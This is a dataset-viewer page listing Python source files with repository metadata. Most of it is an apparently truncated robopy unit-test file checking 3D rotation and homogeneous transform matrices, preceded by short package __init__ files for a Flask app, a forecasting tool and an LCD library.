xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

ffdc73fd40b7e3f26a71711d0393b4951fcf7276

112

py

Python

clover/index/__init__.py

JCL2017/clover

d074e5038c6a1a6b0333b14ff45bb35ac290f90f

[ "Apache-2.0" ]

18

2019-07-01T04:49:33.000Z

2022-03-11T03:15:09.000Z

clover/index/__init__.py

JCL2017/clover

d074e5038c6a1a6b0333b14ff45bb35ac290f90f

[ "Apache-2.0" ]

64

2019-11-20T09:33:21.000Z

2021-11-16T06:34:32.000Z

clover/index/__init__.py

JCL2017/clover

d074e5038c6a1a6b0333b14ff45bb35ac290f90f

[ "Apache-2.0" ]

9

2019-10-18T08:28:26.000Z

2020-05-25T15:38:12.000Z

#coding=utf-8 from flask import Blueprint index = Blueprint('index', __name__) from clover.index import views

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6

ffeabd7cc6e451e0ab93b462fec92e7076be7bff

34

py

Python

electricityLoadForecasting/preprocessing/detection/__init__.py

BCD65/electricityLoadForecasting

07a6ed060afaf7cc2906c0389b5c9e9b0fede193

[ "MIT" ]

null

electricityLoadForecasting/preprocessing/detection/__init__.py

BCD65/electricityLoadForecasting

07a6ed060afaf7cc2906c0389b5c9e9b0fede193

[ "MIT" ]

null

electricityLoadForecasting/preprocessing/detection/__init__.py

BCD65/electricityLoadForecasting

07a6ed060afaf7cc2906c0389b5c9e9b0fede193

[ "MIT" ]

null

from .detection_tools import *

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6

083d5ef965afc77d6a863478c2098f0ade7b75f4

152

py

Python

RPLCD/__init__.py

jknofe/pi_monitor

1424017c8e25ced8fcd42b155d06ef5e14f70b75

[ "MIT" ]

null

RPLCD/__init__.py

jknofe/pi_monitor

1424017c8e25ced8fcd42b155d06ef5e14f70b75

[ "MIT" ]

null

RPLCD/__init__.py

jknofe/pi_monitor

1424017c8e25ced8fcd42b155d06ef5e14f70b75

[ "MIT" ]

null

from .lcd import CharLCD from .lcd import Alignment, CursorMode, ShiftMode from .contextmanagers import cursor, cleared from .lcd import BacklightMode

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f256c3a85409c1153917a0a440c5ea950f34376a

58,695

py

Python

robopy/tests/test_transforms.py

rodosha98/FRPGitHomework

0905c79ccc28d33f9385c09c03e8e18d8c720787

[ "MIT" ]

214

2017-10-30T04:36:09.000Z

2022-03-27T06:05:53.000Z

robopy/tests/test_transforms.py

rodosha98/FRPGitHomework

0905c79ccc28d33f9385c09c03e8e18d8c720787

[ "MIT" ]

16

2017-11-28T08:07:04.000Z

2020-05-12T22:15:10.000Z

robopy/tests/test_transforms.py

rodosha98/FRPGitHomework

0905c79ccc28d33f9385c09c03e8e18d8c720787

[ "MIT" ]

57

2017-11-28T02:17:53.000Z

2021-02-18T14:32:51.000Z

# Created by: Jack Button, Aditya Dua # 10 June, 2017 import unittest import numpy as np from math import pi from .test_common import matrices_equal, matrix_mismatch_string_builder from ..base import transforms # ---------------------------------------------------------------------------------------# # 3D Transforms # ---------------------------------------------------------------------------------------# # angvec2r | ready # angvec2tr | ready # rotx | complete class TestRotx(unittest.TestCase): def test_transforms_3d_rotx_validData_returnDatatype(self): self.assertIsInstance(transforms.rotx(0), np.matrix) def test_transforms_3d_rotx_validData_returnData_dimension(self): dimensions = transforms.rotx(0).shape self.assertEqual(dimensions, (3, 3)) def test_transforms_3d_rotx_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.rotx(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 0, -1], [0, 1, 0]]) received_mat = transforms.rotx(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, -1, 0], [0, 0, -1]]) received_mat = transforms.rotx(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 0, 1], [0, -1, 0]]) received_mat = transforms.rotx(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.rotx(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.rotx(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.rotx(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 0, -1], [0, 1, 0]]) received_mat = transforms.rotx(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, -1, 0], [0, 0, -1]]) received_mat = transforms.rotx(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 0, 1], [0, -1, 0]]) received_mat = transforms.rotx(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 0, -1], [0, 1, 0]]) received_mat = transforms.rotx(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotx_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.rotx, 'invalid', unit='deg') def test_transforms_3d_rotx_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.rotx, 180, unit='invalid unit') def test_transforms_3d_rotx_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.rotx, 180, unit=True) def test_transforms_3d_rotx_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.rotx, 180, unit=5) # roty | complete class Testroty(unittest.TestCase): def test_transforms_3d_roty_validData_returnDatatype(self): self.assertIsInstance(transforms.roty(0), np.matrix) def test_transforms_3d_roty_validData_returnData_dimension(self): dimensions = transforms.roty(0).shape self.assertEqual(dimensions, (3, 3)) def test_transforms_3d_roty_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.roty(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[0., 0., 1.], [0, 1, 0.], [-1, 0., 0.]]) received_mat = transforms.roty(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[-1., 0., 0.], [0, 1, 0.], [-0, 0., -1.]]) received_mat = transforms.roty(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[-0., 0., -1.], [0, 1, 0.], [1, 0., -0.]]) received_mat = transforms.roty(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.roty(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.roty(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.roty(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[0., 0., 1.], [0, 1, 0.], [-1, 0., 0.]]) received_mat = transforms.roty(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[-1., 0., 0.], [0., 1., 0.], [-0., 0., -1.]]) received_mat = transforms.roty(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[-0., 0., -1.], [0, 1, 0.], [1, 0., -0.]]) received_mat = transforms.roty(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[0., 0., 1.], [0, 1, 0.], [-1, 0., 0.]]) received_mat = transforms.roty(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_roty_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.roty, 'invalid', unit='deg') def test_transforms_3d_roty_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.roty, 180, unit='invalid unit') def test_transforms_3d_roty_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.roty, 180, unit=True) def test_transforms_3d_roty_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.roty, 180, unit=5) # rotz | complete class Testrotz(unittest.TestCase): def test_transforms_3d_rotz_validData_returnDatatype(self): self.assertIsInstance(transforms.rotz(0), np.matrix) def test_transforms_3d_rotz_validData_returnData_dimension(self): dimensions = transforms.rotz(0).shape self.assertEqual(dimensions, (3, 3)) def test_transforms_3d_rotz_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.rotz(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[0., -1., 0.], [1, 0, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[-1., -0., 0.], [0, -1, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[-0., 1., 0.], [-1, -0, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1., 0., 0.], [-0, 1, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.rotz(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) received_mat = transforms.rotz(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[0., -1., 0.], [1, 0, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[-1., -0., 0.], [0, -1, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[-0., 1., 0.], [-1, -0, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[0., -1., 0.], [1, 0, 0.], [0, 0., 1.]]) received_mat = transforms.rotz(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_rotz_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.rotz, 'invalid', unit='deg') def test_transforms_3d_rotz_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.rotz, 180, unit='invalid unit') def test_transforms_3d_rotz_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.rotz, 180, unit=True) def test_transforms_3d_rotz_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.rotz, 180, unit=5) # trotx | complete class Testtrotx(unittest.TestCase): def test_transforms_3d_trotx_validData_returnDatatype(self): self.assertIsInstance(transforms.trotx(0), np.matrix) def test_transforms_3d_trotx_validData_returnData_dimension(self): dimensions = transforms.trotx(0).shape self.assertEqual(dimensions, (4, 4)) def test_transforms_3d_trotx_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 1., -0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 0., -1., 0.], [0., 1., 0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., -1., -0., 0.], [0., 0., -1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., -0., 1., 0.], [0., -1., -0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 1., 0., 0.], [0., -0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 1., -0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 1., 0., 0.], [0., -0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 0., -1., 0.], [0., 1., 0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., -1., -0., 0.], [0., 0., -1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., -0., 1., 0.], [0., -1., -0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 0., -1., 0.], [0., 1., 0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotx(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotx_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.trotx, 'invalid', unit='deg') def test_transforms_3d_trotx_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.trotx, 180, unit='invalid unit') def test_transforms_3d_trotx_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.trotx, 180, unit=True) def test_transforms_3d_trotx_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.trotx, 180, unit=5) # troty | complete class Testtroty(unittest.TestCase): def test_transforms_3d_troty_validData_returnDatatype(self): self.assertIsInstance(transforms.troty(0), np.matrix) def test_transforms_3d_troty_validData_returnData_dimension(self): dimensions = transforms.troty(0).shape self.assertEqual(dimensions, (4, 4)) def test_transforms_3d_troty_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 1., 0., 0.], [-0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[0., 0., 1., 0.], [0., 1., 0., 0.], [-1., 0., 0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[-1., 0., 0., 0.], [0., 1., 0., 0.], [-0., 0., -1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[-0., 0., -1., 0.], [0., 1., 0., 0.], [1., 0., -0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1., 0., -0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 1., 0., 0.], [-0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1., 0., -0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[0., 0., 1., 0.], [0., 1., 0., 0.], [-1., 0., 0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[-1., 0., 0., 0.], [0., 1., 0., 0.], [-0., 0., -1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[-0., 0., -1., 0.], [0., 1., 0., 0.], [1., 0., -0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[0., 0., 1., 0.], [0., 1., 0., 0.], [-1., 0., 0., 0.], [0., 0., 0., 1.]]) received_mat = transforms.troty(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_troty_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.troty, 'invalid', unit='deg') def test_transforms_3d_troty_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.troty, 180, unit='invalid unit') def test_transforms_3d_troty_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.troty, 180, unit=True) def test_transforms_3d_troty_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.troty, 180, unit=5) # trotz | complete class Testtrotz(unittest.TestCase): def test_transforms_3d_trotz_validData_returnDatatype(self): self.assertIsInstance(transforms.trotz(0), np.matrix) def test_transforms_3d_trotz_validData_returnData_dimension(self): dimensions = transforms.trotz(0).shape self.assertEqual(dimensions, (4, 4)) def test_transforms_3d_trotz_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1., -0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(0) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_pi_by2_rad(self): expected_mat = np.matrix([[0., -1., 0., 0.], [1., 0., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_pi_rad(self): expected_mat = np.matrix([[-1., -0., 0., 0.], [0., -1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_three_pi_by2_rad(self): expected_mat = np.matrix([[-0., 1., 0., 0.], [-1., -0., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(3 * pi / 2) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_2pi_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [-0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(2 * pi) if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_0_deg(self): expected_mat = np.matrix([[1., -0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(0, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_360_deg(self): expected_mat = np.matrix([[1., 0., 0., 0.], [-0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(360, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_90_deg(self): expected_mat = np.matrix([[0., -1., 0., 0.], [1., 0., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(90, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_180_deg(self): expected_mat = np.matrix([[-1., -0., 0., 0.], [0., -1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(180, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_270_deg(self): expected_mat = np.matrix([[-0., 1., 0., 0.], [-1., -0., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(270, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_validData_boundaryCondition_450_deg(self): expected_mat = np.matrix([[0., -1., 0., 0.], [1., 0., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) received_mat = transforms.trotz(450, unit='deg') if not matrices_equal(received_mat, expected_mat, ): output_str = matrix_mismatch_string_builder( expected_mat, received_mat) self.fail(output_str) def test_transforms_3d_trotz_invalidData_arg1_string(self): self.assertRaises(TypeError, transforms.trotz, 'invalid', unit='deg') def test_transforms_3d_trotz_invalidData_arg2_string_mismatch(self): self.assertRaises(AssertionError, transforms.trotz, 180, unit='invalid unit') def test_transforms_3d_trotz_invalidData_arg2_bool(self): self.assertRaises(AssertionError, transforms.trotz, 180, unit=True) def test_transforms_3d_trotz_invalidData_arg2_int(self): self.assertRaises(AssertionError, transforms.trotz, 180, unit=5) # r2t class TestR2t(unittest.TestCase): def test_transforms_r2t_validData_returnDatatype(self): # pass self.assertIsInstance(transforms.r2t(transforms.rotx(0)), np.matrix) def test_transforms_r2t_validData_returnData_dimension(self): # pass dimensions = transforms.r2t(transforms.rotx(0)).shape self.assertEqual(dimensions, (4, 4)) def test_transforms_r2t_validData_boundaryCondition_0_rad(self): expected_mat = np.matrix([[1., 0., 0., 0.], [0., 1., -0., 0.], [0., 0., 1., 0.], [0., 0., 